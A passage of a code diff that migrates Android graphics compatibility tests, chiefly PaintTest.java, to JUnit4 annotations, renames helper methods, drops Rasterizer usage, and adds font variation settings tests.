+        verifyContainsOnlyBlackAndWhite(dst);
 
         // Likewise, drawing with a DrawFilter that sets FILTER_BITMAP_FLAG should filter,
         // resulting in gray pixels.
         canvas.setDrawFilter(new PaintFlagsDrawFilter(0, Paint.FILTER_BITMAP_FLAG));
         canvas.drawBitmap(grid, 0, 0, simplePaint);
 
-        assertContainsNonBW(dst);
+        verifyContainsNonBW(dst);
     }
 
     // Assert that at least one pixel is neither black nor white. This is used to verify that
     // filtering was done, since the original bitmap only contained black and white pixels.
-    private void assertContainsNonBW(Bitmap bitmap) {
+    private void verifyContainsNonBW(Bitmap bitmap) {
         for (int i = 0; i < bitmap.getWidth(); ++i) {
             for (int j = 0; j < bitmap.getHeight(); ++j) {
                 int color = bitmap.getPixel(i, j);
@@ -177,7 +181,7 @@
 
     // Assert that every pixel is either black or white. Used to verify that no filtering was
     // done, since the original bitmap contained only black and white pixels.
-    private void assertContainsOnlyBlackAndWhite(Bitmap bitmap) {
+    private void verifyContainsOnlyBlackAndWhite(Bitmap bitmap) {
         for (int i = 0; i < bitmap.getWidth(); ++i) {
             for (int j = 0; j < bitmap.getHeight(); ++j) {
                 int color = bitmap.getPixel(i, j);
diff --git a/tests/tests/graphics/src/android/graphics/cts/PaintTest.java b/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
index bc04657..0d70947 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
@@ -16,7 +16,15 @@
 
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
 
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.graphics.BitmapShader;
 import android.graphics.ColorFilter;
 import android.graphics.MaskFilter;
 import android.graphics.Matrix;
@@ -27,23 +35,25 @@
 import android.graphics.Paint.Style;
 import android.graphics.Path;
 import android.graphics.PathEffect;
-import android.graphics.Rasterizer;
 import android.graphics.Rect;
 import android.graphics.Shader;
-import android.graphics.Bitmap;
-import android.graphics.BitmapShader;
 import android.graphics.Typeface;
 import android.graphics.Xfermode;
-import android.os.Build;
+import android.graphics.fonts.FontVariationAxis;
 import android.os.LocaleList;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.SpannedString;
-import android.util.Log;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.Locale;
 
-public class PaintTest extends AndroidTestCase {
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PaintTest {
     private static final Typeface[] TYPEFACES = new Typeface[] {
             Typeface.DEFAULT,
             Typeface.DEFAULT_BOLD,
@@ -52,6 +62,7 @@
             Typeface.SERIF,
     };
 
+    @Test
     public void testConstructor() {
         new Paint();
 
@@ -61,6 +72,7 @@
         new Paint(p);
     }
 
+    @Test
     public void testBreakText() {
         String text = "HIJKLMN";
         char[] textChars = text.toCharArray();
@@ -79,44 +91,43 @@
             totalWidth += widths[i];
         }
 
-        float[] measured = new float[1];
         for (int i = 0; i < text.length(); i++) {
-            assertBreakText(text, textChars, textSpan, i, i + 1, true, totalWidth, 1, widths[i]);
+            verifyBreakText(text, textChars, textSpan, i, i + 1, true, totalWidth, 1, widths[i]);
         }
 
         // Measure empty string
-        assertBreakText(text, textChars, textSpan, 0, 0, true, totalWidth, 0, 0);
+        verifyBreakText(text, textChars, textSpan, 0, 0, true, totalWidth, 0, 0);
 
         // Measure substring from front: "HIJ"
-        assertBreakText(text, textChars, textSpan, 0, 3, true, totalWidth,
+        verifyBreakText(text, textChars, textSpan, 0, 3, true, totalWidth,
                 3, widths[0] + widths[1] + widths[2]);
 
         // Reverse measure substring from front: "HIJ"
-        assertBreakText(text, textChars, textSpan, 0, 3, false, totalWidth,
+        verifyBreakText(text, textChars, textSpan, 0, 3, false, totalWidth,
                 3, widths[0] + widths[1] + widths[2]);
 
         // Measure substring from back: "MN"
-        assertBreakText(text, textChars, textSpan, 5, 7, true, totalWidth,
+        verifyBreakText(text, textChars, textSpan, 5, 7, true, totalWidth,
                 2, widths[5] + widths[6]);
 
         // Reverse measure substring from back: "MN"
-        assertBreakText(text, textChars, textSpan, 5, 7, false, totalWidth,
+        verifyBreakText(text, textChars, textSpan, 5, 7, false, totalWidth,
                 2, widths[5] + widths[6]);
 
         // Measure substring in the middle: "JKL"
-        assertBreakText(text, textChars, textSpan, 2, 5, true, totalWidth,
+        verifyBreakText(text, textChars, textSpan, 2, 5, true, totalWidth,
                 3, widths[2] + widths[3] + widths[4]);
 
         // Reverse measure substring in the middle: "JKL"
-        assertBreakText(text, textChars, textSpan, 2, 5, false, totalWidth,
+        verifyBreakText(text, textChars, textSpan, 2, 5, false, totalWidth,
                 3, widths[2] + widths[3] + widths[4]);
 
         // Measure substring in the middle and restrict width to the first 2 characters.
-        assertBreakText(text, textChars, textSpan, 2, 5, true, widths[2] + widths[3],
+        verifyBreakText(text, textChars, textSpan, 2, 5, true, widths[2] + widths[3],
                 2, widths[2] + widths[3]);
 
         // Reverse measure substring in the middle and restrict width to the last 2 characters.
-        assertBreakText(text, textChars, textSpan, 2, 5, false, widths[3] + widths[4],
+        verifyBreakText(text, textChars, textSpan, 2, 5, false, widths[3] + widths[4],
                 2, widths[3] + widths[4]);
 
         // a single Emoji (U+1f601)
@@ -128,23 +139,23 @@
         assertEquals(emoji.length(), p.getTextWidths(emoji, emojiWidths));
 
         // Measure substring with a cluster
-        assertBreakText(emoji, emojiChars, emojiSpan, 0, 2, true, 0,
+        verifyBreakText(emoji, emojiChars, emojiSpan, 0, 2, true, 0,
                 0, 0);
 
         // Measure substring with a cluster
-        assertBreakText(emoji, emojiChars, emojiSpan, 0, 2, true, emojiWidths[0],
+        verifyBreakText(emoji, emojiChars, emojiSpan, 0, 2, true, emojiWidths[0],
                 2, emojiWidths[0]);
 
         // Reverse measure substring with a cluster
-        assertBreakText(emoji, emojiChars, emojiSpan, 0, 2, false, 0,
+        verifyBreakText(emoji, emojiChars, emojiSpan, 0, 2, false, 0,
                 0, 0);
 
         // Measure substring with a cluster
-        assertBreakText(emoji, emojiChars, emojiSpan, 0, 2, false, emojiWidths[0],
+        verifyBreakText(emoji, emojiChars, emojiSpan, 0, 2, false, emojiWidths[0],
                 2, emojiWidths[0]);
     }
 
-    private void assertBreakText(String text, char[] textChars, SpannedString textSpan,
+    private void verifyBreakText(String text, char[] textChars, SpannedString textSpan,
             int start, int end, boolean measureForwards, float maxWidth, int expectedCount,
             float expectedWidth) {
         Paint p = new Paint();
@@ -169,17 +180,17 @@
                 measured[2]));
 
         for (int i = 0; i < measured.length; i++) {
-            assertEquals("i: " + i, expectedWidth, measured[i][0]);
+            assertEquals("i: " + i, expectedWidth, measured[i][0], 0.0f);
         }
     }
 
+    @Test
     public void testSet() {
         Paint p  = new Paint();
         Paint p2 = new Paint();
         ColorFilter c = new ColorFilter();
         MaskFilter m  = new MaskFilter();
         PathEffect e  = new PathEffect();
-        Rasterizer r  = new Rasterizer();
         Shader s      = new Shader();
         Typeface t    = Typeface.DEFAULT;
         Xfermode x = new Xfermode();
@@ -187,7 +198,6 @@
         p.setColorFilter(c);
         p.setMaskFilter(m);
         p.setPathEffect(e);
-        p.setRasterizer(r);
         p.setShader(s);
         p.setTypeface(t);
         p.setXfermode(x);
@@ -195,7 +205,6 @@
         assertEquals(c, p2.getColorFilter());
         assertEquals(m, p2.getMaskFilter());
         assertEquals(e, p2.getPathEffect());
-        assertEquals(r, p2.getRasterizer());
         assertEquals(s, p2.getShader());
         assertEquals(t, p2.getTypeface());
         assertEquals(x, p2.getXfermode());
@@ -204,7 +213,6 @@
         assertEquals(c, p2.getColorFilter());
         assertEquals(m, p2.getMaskFilter());
         assertEquals(e, p2.getPathEffect());
-        assertEquals(r, p2.getRasterizer());
         assertEquals(s, p2.getShader());
         assertEquals(t, p2.getTypeface());
         assertEquals(x, p2.getXfermode());
@@ -212,7 +220,6 @@
         p.setColorFilter(null);
         p.setMaskFilter(null);
         p.setPathEffect(null);
-        p.setRasterizer(null);
         p.setShader(null);
         p.setTypeface(null);
         p.setXfermode(null);
@@ -220,7 +227,6 @@
         assertNull(p2.getColorFilter());
         assertNull(p2.getMaskFilter());
         assertNull(p2.getPathEffect());
-        assertNull(p2.getRasterizer());
         assertNull(p2.getShader());
         assertNull(p2.getTypeface());
         assertNull(p2.getXfermode());
@@ -229,12 +235,12 @@
         assertNull(p2.getColorFilter());
         assertNull(p2.getMaskFilter());
         assertNull(p2.getPathEffect());
-        assertNull(p2.getRasterizer());
         assertNull(p2.getShader());
         assertNull(p2.getTypeface());
         assertNull(p2.getXfermode());
     }
 
+    @Test
     public void testAccessStrokeCap() {
         Paint p = new Paint();
 
@@ -246,15 +252,16 @@
 
         p.setStrokeCap(Cap.SQUARE);
         assertEquals(Cap.SQUARE, p.getStrokeCap());
-
-        try {
-            p.setStrokeCap(null);
-            fail("Should throw an Exception");
-        } catch (RuntimeException e) {
-            //except here
-        }
     }
 
+    @Test(expected=RuntimeException.class)
+    public void testSetStrokeCapNull() {
+        Paint p = new Paint();
+
+        p.setStrokeCap(null);
+    }
+
+    @Test
     public void testAccessXfermode() {
         Paint p = new Paint();
         Xfermode x = new Xfermode();
@@ -266,6 +273,7 @@
         assertNull(p.getXfermode());
     }
 
+    @Test
     public void testAccessShader() {
         Paint p = new Paint();
         Shader s = new Shader();
@@ -277,6 +285,7 @@
         assertNull(p.getShader());
     }
 
+    @Test
     public void testShaderLocalMatrix() {
         int width = 80;
         int height = 120;
@@ -306,6 +315,7 @@
         assertEquals(m, m3);
     }
 
+    @Test
     public void testSetAntiAlias() {
         Paint p = new Paint();
 
@@ -314,10 +324,9 @@
 
         p.setAntiAlias(false);
         assertFalse(p.isAntiAlias());
-
     }
 
-
+    @Test
     public void testAccessTypeface() {
         Paint p = new Paint();
 
@@ -334,6 +343,7 @@
         assertNull(p.getTypeface());
     }
 
+    @Test
     public void testAccessPathEffect() {
         Paint p = new Paint();
         PathEffect e = new PathEffect();
@@ -345,6 +355,7 @@
         assertNull(p.getPathEffect());
     }
 
+    @Test
     public void testSetFakeBoldText() {
         Paint p = new Paint();
 
@@ -355,6 +366,7 @@
         assertFalse(p.isFakeBoldText());
     }
 
+    @Test
     public void testAccessStrokeJoin() {
         Paint p = new Paint();
 
@@ -366,15 +378,16 @@
 
         p.setStrokeJoin(Join.ROUND);
         assertEquals(Join.ROUND, p.getStrokeJoin());
-
-        try {
-            p.setStrokeJoin(null);
-            fail("Should throw an Exception");
-        } catch (RuntimeException e) {
-            //except here
-        }
     }
 
+    @Test(expected=RuntimeException.class)
+    public void testSetStrokeJoinNull() {
+        Paint p = new Paint();
+
+        p.setStrokeJoin(null);
+    }
+
+    @Test
     public void testAccessStyle() {
         Paint p = new Paint();
 
@@ -386,15 +399,16 @@
 
         p.setStyle(Style.STROKE);
         assertEquals(Style.STROKE, p.getStyle());
-
-        try {
-            p.setStyle(null);
-            fail("Should throw an Exception");
-        } catch (RuntimeException e) {
-            //except here
-        }
     }
 
+    @Test(expected=RuntimeException.class)
+    public void testSetStyleNull() {
+        Paint p = new Paint();
+
+        p.setStyle(null);
+    }
+
+    @Test
     public void testGetFontSpacing() {
         Paint p = new Paint();
 
@@ -411,6 +425,7 @@
         }
     }
 
+    @Test
     public void testSetSubpixelText() {
         Paint p = new Paint();
 
@@ -421,20 +436,22 @@
         assertFalse(p.isSubpixelText());
     }
 
+    @Test
     public void testAccessTextScaleX() {
         Paint p = new Paint();
 
         p.setTextScaleX(2.0f);
-        assertEquals(2.0f, p.getTextScaleX());
+        assertEquals(2.0f, p.getTextScaleX(), 0.0f);
 
         p.setTextScaleX(1.0f);
-        assertEquals(1.0f, p.getTextScaleX());
+        assertEquals(1.0f, p.getTextScaleX(), 0.0f);
 
         p.setTextScaleX(0.0f);
-        assertEquals(0.0f, p.getTextScaleX());
+        assertEquals(0.0f, p.getTextScaleX(), 0.0f);
 
     }
 
+    @Test
     public void testAccessMaskFilter() {
         Paint p = new Paint();
         MaskFilter m = new MaskFilter();
@@ -446,6 +463,7 @@
         assertNull(p.getMaskFilter());
     }
 
+    @Test
     public void testAccessColorFilter() {
         Paint p = new Paint();
         ColorFilter c = new ColorFilter();
@@ -457,17 +475,7 @@
         assertNull(p.getColorFilter());
     }
 
-    public void testAccessRasterizer() {
-        Paint p = new Paint();
-        Rasterizer r = new Rasterizer();
-
-        assertEquals(r, p.setRasterizer(r));
-        assertEquals(r, p.getRasterizer());
-
-        assertNull(p.setRasterizer(null));
-        assertNull(p.getRasterizer());
-    }
-
+    @Test
     public void testSetARGB() {
         Paint p = new Paint();
 
@@ -476,9 +484,9 @@
 
         p.setARGB(3, 3, 3, 3);
         assertEquals((3 << 24) | (3 << 16) | (3 << 8) | 3, p.getColor());
-
     }
 
+    @Test
     public void testAscent() {
         Paint p = new Paint();
 
@@ -495,58 +503,61 @@
         }
     }
 
+    @Test
     public void testAccessTextSkewX() {
         Paint p = new Paint();
 
         p.setTextSkewX(1.0f);
-        assertEquals(1.0f, p.getTextSkewX());
+        assertEquals(1.0f, p.getTextSkewX(), 0.0f);
 
         p.setTextSkewX(0.0f);
-        assertEquals(0.0f, p.getTextSkewX());
+        assertEquals(0.0f, p.getTextSkewX(), 0.0f);
 
         p.setTextSkewX(-0.25f);
-        assertEquals(-0.25f, p.getTextSkewX());
+        assertEquals(-0.25f, p.getTextSkewX(), 0.0f);
     }
 
+    @Test
     public void testAccessTextSize() {
         Paint p = new Paint();
 
         p.setTextSize(1.0f);
-        assertEquals(1.0f, p.getTextSize());
+        assertEquals(1.0f, p.getTextSize(), 0.0f);
 
         p.setTextSize(2.0f);
-        assertEquals(2.0f, p.getTextSize());
+        assertEquals(2.0f, p.getTextSize(), 0.0f);
 
         // text size should be greater than 0, so set -1 has no effect
         p.setTextSize(-1.0f);
-        assertEquals(2.0f, p.getTextSize());
+        assertEquals(2.0f, p.getTextSize(), 0.0f);
 
         // text size should be greater than or equals to 0
         p.setTextSize(0.0f);
-        assertEquals(0.0f, p.getTextSize());
+        assertEquals(0.0f, p.getTextSize(), 0.0f);
     }
 
+    @Test
     public void testGetTextWidths() throws Exception {
         String text = "HIJKLMN";
         char[] textChars = text.toCharArray();
         SpannedString textSpan = new SpannedString(text);
 
         // Test measuring the widths of the entire text
-        assertGetTextWidths(text, textChars, textSpan, 0, 7);
+        verifyGetTextWidths(text, textChars, textSpan, 0, 7);
 
         // Test measuring a substring of the text
-        assertGetTextWidths(text, textChars, textSpan, 1, 3);
+        verifyGetTextWidths(text, textChars, textSpan, 1, 3);
 
         // Test measuring a substring of zero length.
-        assertGetTextWidths(text, textChars, textSpan, 3, 3);
+        verifyGetTextWidths(text, textChars, textSpan, 3, 3);
 
         // Test measuring substrings from the front and back
-        assertGetTextWidths(text, textChars, textSpan, 0, 2);
-        assertGetTextWidths(text, textChars, textSpan, 4, 7);
+        verifyGetTextWidths(text, textChars, textSpan, 0, 2);
+        verifyGetTextWidths(text, textChars, textSpan, 4, 7);
     }
 
     /** Tests all four overloads of getTextWidths are the same. */
-    private void assertGetTextWidths(String text, char[] textChars, SpannedString textSpan,
+    private void verifyGetTextWidths(String text, char[] textChars, SpannedString textSpan,
             int start, int end) {
         Paint p = new Paint();
         int count = end - start;
@@ -565,12 +576,13 @@
 
         // Check that the widths returned by the overloads are the same.
         for (int i = 0; i < count; i++) {
-            assertEquals(widths[0][i], widths[1][i]);
-            assertEquals(widths[1][i], widths[2][i]);
-            assertEquals(widths[2][i], widths[3][i]);
+            assertEquals(widths[0][i], widths[1][i], 0.0f);
+            assertEquals(widths[1][i], widths[2][i], 0.0f);
+            assertEquals(widths[2][i], widths[3][i], 0.0f);
         }
     }
 
+    @Test
     public void testSetStrikeThruText() {
         Paint p = new Paint();
 
@@ -581,6 +593,7 @@
         assertFalse(p.isStrikeThruText());
     }
 
+    @Test
     public void testAccessTextAlign() {
         Paint p = new Paint();
 
@@ -594,6 +607,7 @@
         assertEquals(Align.RIGHT, p.getTextAlign());
     }
 
+    @Test
     public void testAccessTextLocale() {
         Paint p = new Paint();
 
@@ -623,16 +637,16 @@
         p.setTextLocale(defaultLocale);
         assertEquals(defaultLocale, p.getTextLocale());
         assertEquals(new LocaleList(defaultLocale), p.getTextLocales());
-
-        // Check that we cannot pass a null locale
-        try {
-            p.setTextLocale(null);
-            fail("Setting the text locale to null should throw");
-        } catch (Throwable e) {
-            assertEquals(IllegalArgumentException.class, e.getClass());
-        }
     }
 
+    @Test(expected=IllegalArgumentException.class)
+    public void testSetTextLocaleNull() {
+        Paint p = new Paint();
+
+        p.setTextLocale(null);
+    }
+
+    @Test
     public void testAccessTextLocales() {
         Paint p = new Paint();
 
@@ -654,24 +668,25 @@
         // Check reverting back to default
         p.setTextLocales(defaultLocales);
         assertEquals(defaultLocales, p.getTextLocales());
-
-        // Check that we cannot pass a null locale list
-        try {
-            p.setTextLocales(null);
-            fail("Setting the text locale list to null should throw");
-        } catch (Throwable e) {
-            assertEquals(IllegalArgumentException.class, e.getClass());
-        }
-
-        // Check that we cannot pass an empty locale list
-        try {
-            p.setTextLocales(new LocaleList());
-            fail("Setting the text locale list to an empty list should throw");
-        } catch (Throwable e) {
-            assertEquals(IllegalArgumentException.class, e.getClass());
-        }
     }
 
+    @Test(expected=IllegalArgumentException.class)
+    public void testAccessTextLocalesNull() {
+        Paint p = new Paint();
+
+        // Check that we cannot pass a null locale list
+        p.setTextLocales(null);
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testAccessTextLocalesEmpty() {
+        Paint p = new Paint();
+
+        // Check that we cannot pass an empty locale list
+        p.setTextLocales(new LocaleList());
+    }
+
+    @Test
     public void testGetFillPath() {
         Paint p = new Paint();
         Path path1 = new Path();
@@ -684,9 +699,9 @@
         assertTrue(path2.isEmpty());
 
         // No setter
-
     }
 
+    @Test
     public void testAccessAlpha() {
         Paint p = new Paint();
 
@@ -705,6 +720,7 @@
         assertEquals(236, p.getAlpha());
     }
 
+    @Test
     public void testSetFilterBitmap() {
         Paint p = new Paint();
 
@@ -715,6 +731,7 @@
         assertFalse(p.isFilterBitmap());
     }
 
+    @Test
     public void testAccessColor() {
         Paint p = new Paint();
 
@@ -734,10 +751,12 @@
         assertEquals(256, p.getColor());
     }
 
+    @Test
     public void testSetShadowLayer() {
         new Paint().setShadowLayer(10, 1, 1, 0);
     }
 
+    @Test
     public void testGetFontMetrics1() {
         Paint p = new Paint();
         Paint.FontMetrics fm = new Paint.FontMetrics();
@@ -746,17 +765,18 @@
             p.setTypeface(typeface);
 
             p.setTextSize(10);
-            float spacing10 = p.getFontMetrics(fm);
-            assertEquals(p.ascent(), fm.ascent);
-            assertEquals(p.descent(), fm.descent);
+            p.getFontMetrics(fm);
+            assertEquals(p.ascent(), fm.ascent, 0.0f);
+            assertEquals(p.descent(), fm.descent, 0.0f);
 
             p.setTextSize(20);
-            float spacing20 = p.getFontMetrics(fm);
-            assertEquals(p.ascent(), fm.ascent);
-            assertEquals(p.descent(), fm.descent);
+            p.getFontMetrics(fm);
+            assertEquals(p.ascent(), fm.ascent, 0.0f);
+            assertEquals(p.descent(), fm.descent, 0.0f);
         }
     }
 
+    @Test
     public void testGetFontMetrics2() {
         Paint p = new Paint();
 
@@ -765,34 +785,37 @@
 
             p.setTextSize(10);
             Paint.FontMetrics fm = p.getFontMetrics();
-            assertEquals(p.ascent(), fm.ascent);
-            assertEquals(p.descent(), fm.descent);
+            assertEquals(p.ascent(), fm.ascent, 0.0f);
+            assertEquals(p.descent(), fm.descent, 0.0f);
 
             p.setTextSize(20);
             fm = p.getFontMetrics();
-            assertEquals(p.ascent(), fm.ascent);
-            assertEquals(p.descent(), fm.descent);
+            assertEquals(p.ascent(), fm.ascent, 0.0f);
+            assertEquals(p.descent(), fm.descent, 0.0f);
         }
     }
 
+    @Test
     public void testAccessStrokeMiter() {
         Paint p = new Paint();
 
         p.setStrokeMiter(0.0f);
-        assertEquals(0.0f, p.getStrokeMiter());
+        assertEquals(0.0f, p.getStrokeMiter(), 0.0f);
 
         p.setStrokeMiter(10.0f);
-        assertEquals(10.0f, p.getStrokeMiter());
+        assertEquals(10.0f, p.getStrokeMiter(), 0.0f);
 
         // set value should be greater or equal to 0, set to -10.0f has no effect
         p.setStrokeMiter(-10.0f);
-        assertEquals(10.0f, p.getStrokeMiter());
+        assertEquals(10.0f, p.getStrokeMiter(), 0.0f);
     }
 
+    @Test
     public void testClearShadowLayer() {
         new Paint().clearShadowLayer();
     }
 
+    @Test
     public void testSetUnderlineText() {
         Paint p = new Paint();
 
@@ -803,6 +826,7 @@
         assertFalse(p.isUnderlineText());
     }
 
+    @Test
     public void testSetDither() {
         Paint p = new Paint();
 
@@ -813,6 +837,7 @@
         assertFalse(p.isDither());
     }
 
+    @Test
     public void testDescent() {
         Paint p = new Paint();
 
@@ -829,6 +854,7 @@
         }
     }
 
+    @Test
     public void testAccessFlags() {
         Paint p = new Paint();
 
@@ -839,20 +865,22 @@
         assertEquals(Paint.DEV_KERN_TEXT_FLAG, p.getFlags());
     }
 
+    @Test
     public void testAccessStrokeWidth() {
         Paint p = new Paint();
 
         p.setStrokeWidth(0.0f);
-        assertEquals(0.0f, p.getStrokeWidth());
+        assertEquals(0.0f, p.getStrokeWidth(), 0.0f);
 
         p.setStrokeWidth(10.0f);
-        assertEquals(10.0f, p.getStrokeWidth());
+        assertEquals(10.0f, p.getStrokeWidth(), 0.0f);
 
         // set value must greater or equal to 0, set -10.0f has no effect
         p.setStrokeWidth(-10.0f);
-        assertEquals(10.0f, p.getStrokeWidth());
+        assertEquals(10.0f, p.getStrokeWidth(), 0.0f);
     }
 
+    @Test
     public void testSetFontFeatureSettings() {
         Paint p = new Paint();
         // Roboto font (system default) has "fi" ligature
@@ -860,7 +888,7 @@
         float[] widths = new float[text.length()];
         p.getTextWidths(text, widths);
         assertTrue(widths[0] > 0.0f);
-        assertEquals(0.0f, widths[1]);
+        assertEquals(0.0f, widths[1], 0.0f);
 
         // Disable ligature using OpenType feature
         p.setFontFeatureSettings("'liga' off");
@@ -872,9 +900,74 @@
         p.setFontFeatureSettings("'liga' on");
         p.getTextWidths(text, widths);
         assertTrue(widths[0] > 0.0f);
-        assertEquals(0.0f, widths[1]);
+        assertEquals(0.0f, widths[1], 0.0f);
     }
 
+    @Test
+    public void testSetFontVariationSettings_defaultTypeface() {
+        new Paint().setFontVariationSettings("'wght' 400");
+    }
+
+    @Test
+    public void testSetGetFontVariationSettings() {
+        final Paint defaultPaint = new Paint();
+
+        Paint p = new Paint();
+        Context context = InstrumentationRegistry.getTargetContext();
+        Typeface typeface = Typeface.createFromAsset(context.getAssets(), "multiaxis.ttf");
+        p.setTypeface(typeface);
+
+        // multiaxis.ttf supports "wght", "PRIV", "PR12" axes.
+
+        // The default variation settings should be null.
+        assertNull(p.getFontVariationSettings());
+
+        final String[] nonEffectiveSettings = {
+                "'slnt' 30",  // unsupported tag
+                "'BBBB' 1.0",  // unsupported tag
+                "'A   ' 1.0",  // unsupported tag
+                "'PR0 ' 1.3",  // unsupported tag
+                "'WGHT' 0.7",  // unsupported tag (case sensitive)
+                "'BBBB' 1.0, 'CCCC' 2.0",  // none of them are supported.
+        };
+
+        for (String notEffectiveSetting : nonEffectiveSettings) {
+            if (!defaultPaint.setFontVariationSettings(notEffectiveSetting)) {
+                // Test only when the system font don't support the above axes. OEMs may add
+                // their fonts and these font may support above axes.
+                assertFalse("Must return false for " + notEffectiveSetting,
+                        p.setFontVariationSettings(notEffectiveSetting));
+                assertNull("Must not change settings for " + notEffectiveSetting,
+                        p.getFontVariationSettings());
+            }
+        }
+
+        String retainSettings = "'wght' 400";
+        assertTrue(p.setFontVariationSettings(retainSettings));
+        for (String notEffectiveSetting : nonEffectiveSettings) {
+            assertFalse(p.setFontVariationSettings(notEffectiveSetting));
+            assertEquals("Must not change settings for " + notEffectiveSetting,
+                    retainSettings, p.getFontVariationSettings());
+        }
+
+        // At least one axis is supported, the settings should be applied.
+        final String[] effectiveSettings = {
+                "'wght' 300",  // supported tag
+                "'wght' 300, 'PRIV' 0.5",  // both are supported
+                "'PRIV' 1.0, 'BBBB' 0.4",  // 'BBBB' is unsupported
+        };
+
+        for (String effectiveSetting : effectiveSettings) {
+            assertTrue("Must return true for " + effectiveSetting,
+                    p.setFontVariationSettings(effectiveSetting));
+            assertEquals(effectiveSetting, p.getFontVariationSettings());
+        }
+
+        p.setFontVariationSettings("");
+        assertNull(p.getFontVariationSettings());
+    }
+
+    @Test
     public void testGetTextBounds() {
         Paint p = new Paint();
         p.setTextSize(10);
@@ -904,12 +997,12 @@
         assertTrue(bounds2.bottom - bounds2.top > bounds1.bottom - bounds1.top);
     }
 
+    @Test
     public void testReset() {
         Paint p  = new Paint();
         ColorFilter c = new ColorFilter();
         MaskFilter m  = new MaskFilter();
         PathEffect e  = new PathEffect();
-        Rasterizer r  = new Rasterizer();
         Shader s      = new Shader();
         Typeface t    = Typeface.DEFAULT;
         Xfermode x = new Xfermode();
@@ -917,7 +1010,6 @@
         p.setColorFilter(c);
         p.setMaskFilter(m);
         p.setPathEffect(e);
-        p.setRasterizer(r);
         p.setShader(s);
         p.setTypeface(t);
         p.setXfermode(x);
@@ -925,7 +1017,6 @@
         assertEquals(c, p.getColorFilter());
         assertEquals(m, p.getMaskFilter());
         assertEquals(e, p.getPathEffect());
-        assertEquals(r, p.getRasterizer());
         assertEquals(s, p.getShader());
         assertEquals(t, p.getTypeface());
         assertEquals(x, p.getXfermode());
@@ -936,12 +1027,12 @@
         assertEquals(null, p.getColorFilter());
         assertEquals(null, p.getMaskFilter());
         assertEquals(null, p.getPathEffect());
-        assertEquals(null, p.getRasterizer());
         assertEquals(null, p.getShader());
         assertEquals(null, p.getTypeface());
         assertEquals(null, p.getXfermode());
     }
 
+    @Test
     public void testSetLinearText() {
         Paint p = new Paint();
 
@@ -952,6 +1043,7 @@
         assertFalse(p.isLinearText());
     }
 
+    @Test
     public void testGetFontMetricsInt1() {
         Paint p = new Paint();
         Paint.FontMetricsInt fmi = new Paint.FontMetricsInt();
@@ -971,6 +1063,7 @@
         }
     }
 
+    @Test
     public void testGetFontMetricsInt2() {
         Paint p = new Paint();
         Paint.FontMetricsInt fmi;
@@ -990,6 +1083,7 @@
         }
     }
 
+    @Test
     public void testMeasureText() {
         String text = "HIJKLMN";
         char[] textChars = text.toCharArray();
@@ -1011,19 +1105,20 @@
         }
 
         // Test measuring the widths of the entire text
-        assertMeasureText(text, textChars, textSpan, 0, 7, totalWidth);
+        verifyMeasureText(text, textChars, textSpan, 0, 7, totalWidth);
 
         // Test measuring a substring of the text
-        assertMeasureText(text, textChars, textSpan, 1, 3, widths[1] + widths[2]);
+        verifyMeasureText(text, textChars, textSpan, 1, 3, widths[1] + widths[2]);
 
         // Test measuring a substring of zero length.
-        assertMeasureText(text, textChars, textSpan, 3, 3, 0);
+        verifyMeasureText(text, textChars, textSpan, 3, 3, 0);
 
         // Test measuring substrings from the front and back
-        assertMeasureText(text, textChars, textSpan, 0, 2, widths[0] + widths[1]);
-        assertMeasureText(text, textChars, textSpan, 4, 7, widths[4] + widths[5] + widths[6]);
+        verifyMeasureText(text, textChars, textSpan, 0, 2, widths[0] + widths[1]);
+        verifyMeasureText(text, textChars, textSpan, 4, 7, widths[4] + widths[5] + widths[6]);
     }
 
+    @Test
     public void testMeasureTextContext() {
        Paint p = new Paint();
        // Arabic LAM, which is different width depending on context
@@ -1033,17 +1128,13 @@
        SpannedString longSpanned = new SpannedString(longString);
        float width = p.measureText(shortString);
        // Verify that measurement of substring is consistent no matter what surrounds it.
-       assertMeasureText(longString, longChars, longSpanned, 0, 1, width);
-       assertMeasureText(longString, longChars, longSpanned, 1, 2, width);
-       assertMeasureText(longString, longChars, longSpanned, 2, 3, width);
+       verifyMeasureText(longString, longChars, longSpanned, 0, 1, width);
+       verifyMeasureText(longString, longChars, longSpanned, 1, 2, width);
+       verifyMeasureText(longString, longChars, longSpanned, 2, 3, width);
     }
 
+    @Test
     public void testMeasureTextWithLongText() {
-        // This test is not compatible with 4.0.3
-        if ("4.0.3".equals(Build.VERSION.RELEASE)) {
-            return;
-        }
-
         final int MAX_COUNT = 65535;
         char[] longText = new char[MAX_COUNT];
         for (int n = 0; n < MAX_COUNT; n++) {
@@ -1056,7 +1147,7 @@
     }
 
     /** Tests that all four overloads of measureText are the same and match some value. */
-    private void assertMeasureText(String text, char[] textChars, SpannedString textSpan,
+    private void verifyMeasureText(String text, char[] textChars, SpannedString textSpan,
             int start, int end, float expectedWidth) {
         Paint p = new Paint();
 
@@ -1073,75 +1164,69 @@
         widths[3] = p.measureText(text, start, end);
 
         // Check that the widths returned by the overloads are the same.
-        assertEquals(widths[0], widths[1]);
-        assertEquals(widths[1], widths[2]);
-        assertEquals(widths[2], widths[3]);
-        assertEquals(widths[3], expectedWidth);
+        assertEquals(widths[0], widths[1], 0.0f);
+        assertEquals(widths[1], widths[2], 0.0f);
+        assertEquals(widths[2], widths[3], 0.0f);
+        assertEquals(widths[3], expectedWidth, 0.0f);
     }
 
-    public void testGetTextPath1() {
-        Paint p = new Paint();
-        char[] chars = {'H', 'I', 'J', 'K', 'L', 'M', 'N'};
+    @Test
+    public void testGetTextPathCharArray() {
         Path path = new Path();
 
         assertTrue(path.isEmpty());
-        p.getTextPath(chars, 0, 7, 0, 0, path);
+        new Paint().getTextPath(new char[] {'H', 'I', 'J', 'K', 'L', 'M', 'N'}, 0, 7, 0, 0, path);
